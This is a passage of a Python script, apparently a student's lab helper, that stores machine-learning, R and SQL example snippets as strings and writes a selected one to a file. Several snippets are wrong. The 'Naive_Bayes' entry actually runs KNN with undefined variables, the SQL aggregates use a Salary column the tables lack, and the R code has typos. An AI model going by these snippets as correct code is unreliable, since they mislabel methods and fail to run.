print("Accuracy Score -", accuracy_score(y_test , prediction))

# Plotting the Confusion Matrix & Accuracy Score
fig = plt.figure(figsize = (15,6))
ax1 = fig.add_subplot(1,2,1)
ax1 = sns.heatmap(pd.DataFrame(cnf_matrix), annot = True, cmap = 'Blues', fmt = 'd')
bottom, top = ax1.get_ylim()
ax1.set_ylim(bottom + 0.5, top - 0.5)
plt.xlabel('Predicted')
plt.ylabel('Expected')

ax2 = fig.add_subplot(1,2,2)
y_pred_proba = logreg.predict_proba(X_test)[::,1]
fpr, tpr, _ = roc_curve(y_test,  prediction)
auc = roc_auc_score(y_test, prediction)
ax2 = plt.plot(fpr,tpr,label="data 1, auc="+str(auc))
plt.legend(loc=4)
plt.show()

'''
Linear_Reg='''
Linear Regression 

from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split

pdata = pd.read_csv("/content/StudentsPerformance.csv")

x= pdata[['math score']]
y= pdata[['reading score']]

X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=0)

model = LinearRegression()  # Initialize the LinearRegression model
model.fit(X_train, y_train)  # Train the model on the training data

# Predict on the test set
y_pred = model.predict(X_test)

# Plotting
plt.scatter(X_test, y_test, color="blue", label="Actual Data")  # Actual data points
plt.plot(X_test, y_pred, color="red", linewidth=2, label="Predicted Line")  # Regression line
plt.xlabel("Feature Column")  # Replace with the name of your feature column
plt.ylabel("Target Column")   # Replace with the name of your target column
plt.title("Linear Regression Plot")
plt.legend()
plt.show()
'''
SVM='''
# Split the data into training and testing set
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X_over, y_over, test_size=0.2, random_state=42)

from sklearn.svm import SVC
svc_model = SVC(probability=True, random_state=42)
svc_model.fit(X_train, y_train)
svc_prediction = svc_model.predict(X_test)
joblib.dump(svc_model, 'svc_model.pkl')

# Evaluate the SVM model
print("SVM Accuracy Score -", accuracy_score(y_test, svc_prediction))

# Confusion Matrix for SVM
svc_cnf_matrix = confusion_matrix(y_test, svc_prediction)
sns.heatmap(pd.DataFrame(svc_cnf_matrix), annot=True, cmap='Blues', fmt='d')
plt.xlabel('Predicted')
plt.ylabel('Expected')
plt.show()

# ROC Curve for SVM
svc_y_pred_proba = svc_model.predict_proba(X_test)[::, 1]
fpr, tpr, _ = roc_curve(y_test, svc_y_pred_proba)
svc_auc = roc_auc_score(y_test, svc_y_pred_proba)
plt.plot(fpr, tpr, label="SVM, auc="+str(svc_auc))
plt.legend(loc=4)
plt.show()
'''

KNN='''
from sklearn.model_selection import train_test_split
from sklearn.neighbors import KNeighborsClassifier
from sklearn.metrics import accuracy_score, confusion_matrix, classification_report

x= pdata[['writing score']]
y= pdata[['reading score']]

X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=0)

# Initialize the KNN model with a chosen number of neighbors (e.g., 3)
k = 3  # You can experiment with different values of k
knn = KNeighborsClassifier(n_neighbors=k)

# Train the KNN model
knn.fit(X_train, y_train)

# Make predictions on the test set
y_pred = knn.predict(X_test)

# Evaluate the model
accuracy = accuracy_score(y_test, y_pred)
conf_matrix = confusion_matrix(y_test, y_pred)
class_report = classification_report(y_test, y_pred)

print("Accuracy:", accuracy)
print("\nConfusion Matrix:\n", conf_matrix)
print("\nClassification Report:\n", class_report)

# Plotting the Confusion Matrix
plt.figure(figsize=(6, 4))
sns.heatmap(conf_matrix, annot=True, fmt='d', cmap='Blues')
plt.xlabel('Predicted Labels')
plt.ylabel('Actual Labels')
plt.title(f'Confusion Matrix (k={k})')
plt.show()
'''

K_Means='''
from sklearn.cluster import KMeans
import matplotlib.pyplot as plt
import seaborn as sns

# Select features for clustering (ensure the column names match your dataframe exactly)
X = pdata[['writing score', 'reading score']]

# Initialize the KMeans model with a chosen number of clusters (e.g., 3)
k = 3  # Number of clusters
kmeans = KMeans(n_clusters=k, random_state=0)

# Fit the KMeans model and predict cluster labels
pdata['Cluster'] = kmeans.fit_predict(X)

# Plot the clusters (for 2D features only)
plt.figure(figsize=(8, 6))
sns.scatterplot(data=pdata, x='reading score', y='writing score', hue='Cluster', palette='viridis', s=100)
plt.xlabel('Reading Score')  # Using actual column names
plt.ylabel('Writing Score')  # Using actual column names
plt.title('K-Means Clustering')
plt.legend(title='Cluster')
plt.show()

'''

Mapping='''
Changing Data to int

pdata('')=pdata('').map({'':1,'':0})

from sklearn.preprocessing import LabelEncoder
encoding_cols=['Parental_Involvement','Access_to_Resources','Motivation_Level','Internet_Access','Family_Income','Teacher_Quality','School_Type','Peer_Influence','Learning_Disabilities','Parental_Education_Level','Distance_from_Home','Gender']
label_encoders={}
for i in encoding_cols:
    label_encoders[i] = LabelEncoder()
    pdata[i]= label_encoders[i].fit_transform(pdata[i])  

'''
Naive_Bayes='''
from sklearn.model_selection import train_test_split
from sklearn.naive_bayes import GaussianNB
from sklearn.metrics import accuracy_score, confusion_matrix, classification_report

X = pdata[['feature_column']]  # Example: pdata[['Age']]
y = pdata['target_column']     # Example: pdata['Outcome']

X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=0)

# Initialize the KNN model with a chosen number of neighbors (e.g., 3)
k = 3  # You can experiment with different values of k
knn = KNeighborsClassifier(n_neighbors=k)

# Train the KNN model
knn.fit(X_train, y_train)

# Make predictions on the test set
y_pred = knn.predict(X_test)

# Evaluate the model
accuracy = accuracy_score(y_test, y_pred)
conf_matrix = confusion_matrix(y_test, y_pred)
class_report = classification_report(y_test, y_pred)

print("Accuracy:", accuracy)
print("\nConfusion Matrix:\n", conf_matrix)
print("\nClassification Report:\n", class_report)

# Plotting the Confusion Matrix
plt.figure(figsize=(6, 4))
sns.heatmap(conf_matrix, annot=True, fmt='d', cmap='Blues')
plt.xlabel('Predicted Labels')
plt.ylabel('Actual Labels')
plt.title(f'Confusion Matrix (k={k})')
plt.show()

# Plot the accuracy scores
plt.figure(figsize=(10, 6))
plt.plot(k_values, accuracy_scores, marker='o')
plt.title('Accuracy Score vs. k (Number of Neighbors)')
plt.xlabel('Number of Neighbors (k)')
plt.ylabel('Accuracy Score')
plt.xticks(k_values)  # Show all k values on the x-axis
plt.grid(True)
plt.show()


'''
Decision_Tree='''
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier, plot_tree
from sklearn.metrics import accuracy_score, confusion_matrix, classification_report

X = pdata[['feature_column1', 'feature_column2']]  # Example: pdata[['Age', 'Income']]
y = pdata['target_column']  # Example: pdata['Outcome']

# Split data into training and testing sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=0)

# Initialize the Decision Tree model
model = DecisionTreeClassifier(random_state=0)

# Train the model
model.fit(X_train, y_train)

# Make predictions on the test set
y_pred = model.predict(X_test)

# Evaluate the model
accuracy = accuracy_score(y_test, y_pred)
conf_matrix = confusion_matrix(y_test, y_pred)
class_report = classification_report(y_test, y_pred)

print("Accuracy:", accuracy)
print("\nConfusion Matrix:\n", conf_matrix)
print("\nClassification Report:\n", class_report)

# Plotting the Confusion Matrix
plt.figure(figsize=(6, 4))
sns.heatmap(conf_matrix, annot=True, fmt='d', cmap='Blues')
plt.xlabel('Predicted Labels')
plt.ylabel('Actual Labels')
plt.title('Confusion Matrix (Decision Tree)')
plt.show()

# Visualizing the Decision Tree
plt.figure(figsize=(12, 8))
plot_tree(model, feature_names=['feature_column1', 'feature_column2'], class_names=['Class 0', 'Class 1'], filled=True)
plt.title("Decision Tree Visualization")
plt.show()


'''

Hierarchial_Clust='''
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X_over, y_over, test_size=0.2, random_state=42)

from sklearn.cluster import AgglomerativeClustering
from sklearn.metrics import accuracy_score, confusion_matrix, adjusted_rand_score
import scipy.cluster.hierarchy as sch

# Hierarchical Clustering using AgglomerativeClustering
# You can choose the number of clusters (e.g., 3) based on your data characteristics.
n_clusters = 3
hierarchical_model = AgglomerativeClustering(n_clusters=n_clusters, affinity='euclidean', linkage='ward')
pdata['Cluster'] = hierarchical_model.fit_predict(X)

# If you have actual labels and want to compare, you can use adjusted_rand_score as it works better with unsupervised methods.
if 'target_column' in pdata.columns:  # Replace with your actual target column name
    actual_labels = pdata['target_column']
    clustering_score = adjusted_rand_score(actual_labels, pdata['Cluster'])
    print(f"Adjusted Rand Index (ARI) Score for Hierarchical Clustering: {clustering_score:.2f}")

# Visualize clusters (for 2D features only)
plt.figure(figsize=(8, 6))
sns.scatterplot(data=pdata, x='reading score', y='writing score', hue='Cluster', palette='viridis', s=100)
plt.title('Hierarchical Clustering')
plt.xlabel('Feature Column 1')  # Replace with your actual feature name
plt.ylabel('Feature Column 2')  # Replace with your actual feature name
plt.legend(title='Cluster')
plt.show()

# Visualize the Dendrogram (if needed)
plt.figure(figsize=(10, 7))
sch.dendrogram(sch.linkage(X, method='ward'))
plt.title('Dendrogram')
plt.xlabel('Data Points')
plt.ylabel('Euclidean Distance')
plt.show()

'''

Accuracy_Score='''
# Plotting the accuracy scores for different parameter values
    plt.figure(figsize=(10, 6))
    plt.plot(param_range, accuracy_scores, marker='o', color='b')
    plt.title(f'Accuracy vs. {param_name.capitalize()}')
    plt.xlabel(param_name.capitalize())
    plt.ylabel('Accuracy Score')
    plt.xticks(param_range)
    plt.grid(True)
    plt.show()

'''

BasicR='''
install.packages("openxlsx")

library(openxlsx)

data <- read.xlsx("C:\\Users\\jeel\\Downloads\\sample2.xlsx")

head(data)

install.packages("dplyr")

library(dplyr)

cleandata<-data %>% distinct()

filtered <- filter(cleandata,Date=="6/16/16")

View(filtered)

arrangedata <- arrange(cleandata,rating)

arrangedatadesc <- arrange(cleandata,desc(rating))

selectcols <- select(cleandata,title,start_with('thtr')

'''

PlotR='''
# Load required libraries

install.package(dplyr)
install.package(ggplot2)
install.package(openxlsx)
library(dplyr)
library(ggplot2)
library(openxlsx)

# Load the data from CSV file
data <- read.csv("data.csv")

# Data manipulation with dplyr
# Filter for a specific category, e.g., "Category A", group by date, and summarize total value
filtered_data <- data %>%
  filter(category == "Category A") %>%           # Filter for "Category A"
  group_by(date) %>%                             # Group by date
  summarize(total_value = sum(value))            # Summarize total value for each date

# Convert 'date' column to Date type for proper plotting
filtered_data$date <- as.Date(filtered_data$date)

# Visualization with ggplot2
ggplot(filtered_data, aes(x = date, y = total_value)) +
  geom_line(color = "blue") +                    # Line plot
  geom_point(color = "red") +                    # Points on the line
  labs(title = "Total Value Over Time for Category A",
       x = "Date",
       y = "Total Value") +
  theme_minimal()                                # Use a minimal theme for a clean look
'''

JoinSQL='''
CREATE TABLE Employees (
    EmployeeID INT PRIMARY KEY,
    EmployeeName VARCHAR(50),
    DepartmentID INT
);



CREATE TABLE Departments (
    DepartmentID INT PRIMARY KEY,
    DepartmentName VARCHAR(50)
);


INSERT INTO Employees (EmployeeID, EmployeeName, DepartmentID) VALUES
(1, 'Alice', 1),
(2, 'Bob', 2),
(3, 'Charlie', NULL),
(4, 'David', 3);

INSERT INTO Departments (DepartmentID, DepartmentName) VALUES
(1, 'HR'),
(2, 'Finance'),
(3, 'IT'),
(4, 'Marketing');


 * Inner join *

SELECT Employees.EmployeeID, Employees.EmployeeName, Departments.DepartmentName
FROM Employees
INNER JOIN Departments ON Employees.DepartmentID = Departments.DepartmentID;

* Left Join*

SELECT Employees.EmployeeID, Employees.EmployeeName, Departments.DepartmentName
FROM Employees
LEFT JOIN Departments ON Employees.DepartmentID = Departments.DepartmentID;

*Right Join*

SELECT Employees.EmployeeID, Employees.EmployeeName, Departments.DepartmentName
FROM Employees
RIGHT JOIN Departments ON Employees.DepartmentID = Departments.DepartmentID;

*Full Join*

SELECT Employees.EmployeeID, Employees.EmployeeName, Departments.DepartmentName
FROM Employees
FULL JOIN Departments ON Employees.DepartmentID = Departments.DepartmentID;


'''

AggregateSQL='''
CREATE TABLE Employees (
    EmployeeID INT PRIMARY KEY,
    EmployeeName VARCHAR(50),
    DepartmentID INT
);

CREATE TABLE Departments (
    DepartmentID INT PRIMARY KEY,
    DepartmentName VARCHAR(50)
);


INSERT INTO Employees (EmployeeID, EmployeeName, DepartmentID) VALUES
(1, 'Alice', 1),
(2, 'Bob', 2),
(3, 'Charlie', NULL),
(4, 'David', 3);

INSERT INTO Departments (DepartmentID, DepartmentName) VALUES
(1, 'HR'),
(2, 'Finance'),
(3, 'IT'),
(4, 'Marketing');

*Count*
SELECT COUNT(*) AS TotalEmployees
FROM Employees;

*sum*
SELECT SUM(Salary) AS TotalSalary
FROM Employees;

*avg*
SELECT AVG(Salary) AS AverageSalary
FROM Employees;

*Min*
SELECT MIN(Salary) AS MinimumSalary
FROM Employees;

*Max*
SELECT MAX(Salary) AS MaximumSalary
FROM Employees;

'''

def iss_():
    for file,code in iss_codes.items():
        print(file)
    filename = input("Enter filename: ")
    with open(filename, 'w') as f:
        f.write(iss_codes[filename])

def abhi_():
    for file,code in eit_codes.items():
        print(file)
    filename = input("Enter filename: ")
    with open(filename, 'w') as f:
        f.write(eit_codes[filename])

ml_codes = {
    "Linear_Reg.txt": Linear_Reg,
    "Logistic_Reg.txt": Logistic_Reg,
    "Naive_Bayes.txt": Naive_Bayes,
    "Decision_Tree.txt": Decision_Tree,
    "SVM.txt": SVM,
    "K_Means.txt": K_Means,
    "KNN.txt": KNN,
    "Hierarchial_Clust.txt" : Hierarchial_Clust,
    "Mapping.txt":Mapping,
    "Accuracy_Score.txt":Accuracy_Score
}


def ml_():
    for file,code in ml_codes.items():
        print(file)
    filename = input("Enter filename: ")
    with open(filename, 'w') as f:
        f.write(ml_codes[filename])

        
def itc_():
    for file,code in itc_codes.items():
        print(file)
    filename = input("Enter filename: ")
    with open(filename, 'w') as f:
        f.write(itc_codes[filename])





mob_codes = {
    "toast.txt": toast,
    "listview.txt": listview,
    "checkbox.txt": checkbox,
    "dateTime.txt": dateTime,
    "oneActToOther.txt": oneActToOtherAndToast,
    'radiobtn.txt': radiobtn,
    'sharedPref.txt': sharedPrefrence,
    'loginForm.txt': loginForm,
    'lifecycle.txt': lifecycle,
    'flutter1.txt':fluterexp1,
    'flutter2.txt':flutterexp2

}

dta_codes= {

"BasicR.txt":BasicR,
"PlotR.txt":PlotR,
"JoinSQL.txt":JoinSQL,
"AggregateSQL.txt":AggregateSQL

}

def dta_():
    for file,code in dta_codes.items():
        print(file)
    filename = input("Enter filename: ")
    with open(filename, 'w') as f:
        f.write(dta_codes[filename])

def mob_():
    for file,code in mob_codes.items():
        print(file)
    filename = input("Enter filename: ")
    with open(filename, 'w') as f:
        f.write(mob_codes[filename])
        


            